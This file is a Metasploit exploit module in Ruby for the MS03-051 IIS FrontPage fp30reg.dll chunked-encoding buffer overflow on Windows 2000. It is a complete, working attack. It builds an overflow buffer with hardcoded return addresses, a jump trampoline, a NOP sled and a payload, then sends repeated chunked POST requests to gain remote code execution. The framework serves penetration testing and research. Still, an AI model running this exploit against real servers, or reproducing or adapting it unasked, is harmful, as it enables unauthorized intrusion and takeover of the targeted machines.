##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS03-051 Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',
      'Description'    => %q{
          This is an exploit for the chunked encoding buffer overflow
        described in MS03-051 and originally reported by Brett
        Moore. This particular modules works against versions of
        Windows 2000 between SP0 and SP3. Service Pack 4 fixes the
        issue.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2003-0822'],
          [ 'OSVDB', '2952'],
          [ 'BID', '9007'],
          [ 'MSB', 'MS03-051'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
          'StackAdjustment' => -3500,

        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows 2000 SP0-SP3',  { 'Ret' => 0x6c38a4d0  }],   # from mfc42.dll
          ['Windows 2000 07/22/02', { 'Ret' => 0x67d44eb1  }],   # from fp30reg.dll 07/22/2002
          ['Windows 2000 10/06/99', { 'Ret' => 0x67d4665d  }],   # from fp30reg.dll 10/06/1999
        ],
      'DisclosureDate' => 'Nov 11 2003',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('URL', [ true,  "The path to fp30reg.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),
      ])
  end

  def exploit

    print_status("Creating overflow request for fp30reg.dll...")

    pat = rand_text_alphanumeric(0xdead)
    pat[128, 4] = [target.ret].pack('V')
    pat[264, 4] = [target.ret].pack('V')

    # sub eax,0xfffffeff; jmp eax
    pat[160, 7] = "\x2d\xff\xfe\xff\xff" + "\xff\xe0"

    pat[280, 512] = make_nops(512)
    pat[792, payload.encoded.length] = payload.encoded

    0.upto(15) do |i|

      if (i % 3 == 0)
        print_status("Refreshing the remote dllhost.exe process...")

        res = send_request_raw({
          'uri' => normalize_uri(datastore['URL'])
        }, -1)

        if (res and res.body =~ /specified module could not be found/)
          print_status("The server states that #{datastore['URL']} does not exist.\n")
          return
        end
      end

      print_status("Trying to exploit fp30reg.dll (request #{i} of 15)")

      res = send_request_raw({
        'uri'     => normalize_uri(datastore['URL']),
        'method'  => 'POST',
        'headers' =>
        {
          'Transfer-Encoding' => 'Chunked'
        },
        'data'    => "DEAD\r\n#{pat}\r\n0\r\n"
      }, 5)

      if (res and res.body =~ /specified module could not be found/)
        print_status("The server states that #{datastore['URL']} does not exist.\n")
        return
      end

      handler

      select(nil,nil,nil,1)
    end
  end

  def check
    print_status("Requesting the vulnerable ISAPI path...")
    r = send_request_raw({
      'uri' => normalize_uri(datastore['URL'])
    }, -1)

    if (r and r.code == 501)
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end
end
